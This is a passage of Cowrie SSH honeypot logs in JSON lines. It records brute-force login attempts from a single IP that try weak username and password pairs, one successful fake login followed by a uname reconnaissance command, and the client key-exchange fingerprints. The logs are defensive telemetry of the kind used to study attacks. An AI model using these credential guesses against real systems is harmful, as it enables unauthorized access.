sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:38.245742Z","src_ip":"192.109.200.78","session":"5052e5719f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:38.617440Z","src_ip":"192.109.200.78","session":"5052e5719f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:39.705095Z","src_ip":"192.109.200.78","session":"5052e5719f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55998,"dst_ip":"10.17.0.5","dst_port":22,"session":"280ecd100ec0","protocol":"ssh","message":"New connection: 192.109.200.78:55998 (10.17.0.5:22) [session: 280ecd100ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:42.389651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:42.394277Z","src_ip":"192.109.200.78","session":"280ecd100ec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:42.478895Z","src_ip":"192.109.200.78","session":"280ecd100ec0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:43.024549Z","src_ip":"192.109.200.78","session":"280ecd100ec0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:43.231880Z","src_ip":"192.109.200.78","session":"280ecd100ec0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:43.235444Z","src_ip":"192.109.200.78","session":"280ecd100ec0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:43.321009Z","src_ip":"192.109.200.78","session":"280ecd100ec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:43.326005Z","src_ip":"192.109.200.78","session":"280ecd100ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56022,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c594d3d9156","protocol":"ssh","message":"New connection: 192.109.200.78:56022 (10.17.0.5:22) [session: 2c594d3d9156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:46.651119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:46.656828Z","src_ip":"192.109.200.78","session":"2c594d3d9156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:46.739725Z","src_ip":"192.109.200.78","session":"2c594d3d9156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:46.991158Z","src_ip":"192.109.200.78","session":"2c594d3d9156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:48.078314Z","src_ip":"192.109.200.78","session":"2c594d3d9156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39436,"dst_ip":"10.17.0.5","dst_port":22,"session":"febf765e35fa","protocol":"ssh","message":"New connection: 192.109.200.78:39436 (10.17.0.5:22) [session: febf765e35fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:50.758667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:50.762118Z","src_ip":"192.109.200.78","session":"febf765e35fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:50.939102Z","src_ip":"192.109.200.78","session":"febf765e35fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:51.641151Z","src_ip":"192.109.200.78","session":"febf765e35fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:52.732127Z","src_ip":"192.109.200.78","session":"febf765e35fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39450,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ddd380f32d3","protocol":"ssh","message":"New connection: 192.109.200.78:39450 (10.17.0.5:22) [session: 7ddd380f32d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:55.133932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:55.138226Z","src_ip":"192.109.200.78","session":"7ddd380f32d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:55.222430Z","src_ip":"192.109.200.78","session":"7ddd380f32d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:55.760608Z","src_ip":"192.109.200.78","session":"7ddd380f32d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:56.858247Z","src_ip":"192.109.200.78","session":"7ddd380f32d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50252,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cf292dcb199","protocol":"ssh","message":"New connection: 192.109.200.78:50252 (10.17.0.5:22) [session: 7cf292dcb199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:59.219269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:59.298241Z","src_ip":"192.109.200.78","session":"7cf292dcb199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:59.329682Z","src_ip":"192.109.200.78","session":"7cf292dcb199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:59.642545Z","src_ip":"192.109.200.78","session":"7cf292dcb199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:00.734881Z","src_ip":"192.109.200.78","session":"7cf292dcb199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50262,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b8209a28ae3","protocol":"ssh","message":"New connection: 192.109.200.78:50262 (10.17.0.5:22) [session: 0b8209a28ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:03.480444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:03.486269Z","src_ip":"192.109.200.78","session":"0b8209a28ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:03.569880Z","src_ip":"192.109.200.78","session":"0b8209a28ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:03.825157Z","src_ip":"192.109.200.78","session":"0b8209a28ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:04.913626Z","src_ip":"192.109.200.78","session":"0b8209a28ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50266,"dst_ip":"10.17.0.5","dst_port":22,"session":"c382de2b397f","protocol":"ssh","message":"New connection: 192.109.200.78:50266 (10.17.0.5:22) [session: c382de2b397f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:07.659667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:07.664350Z","src_ip":"192.109.200.78","session":"c382de2b397f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:07.745809Z","src_ip":"192.109.200.78","session":"c382de2b397f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:07.999932Z","src_ip":"192.109.200.78","session":"c382de2b397f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:09.087261Z","src_ip":"192.109.200.78","session":"c382de2b397f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50088,"dst_ip":"159.203.135.109","dst_port":22,"session":"97f9886ea368","protocol":"ssh","message":"New connection: 159.203.92.129:50088 (159.203.135.109:22) [session: 97f9886ea368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:10.886656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:10.891335Z","src_ip":"159.203.92.129","session":"97f9886ea368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 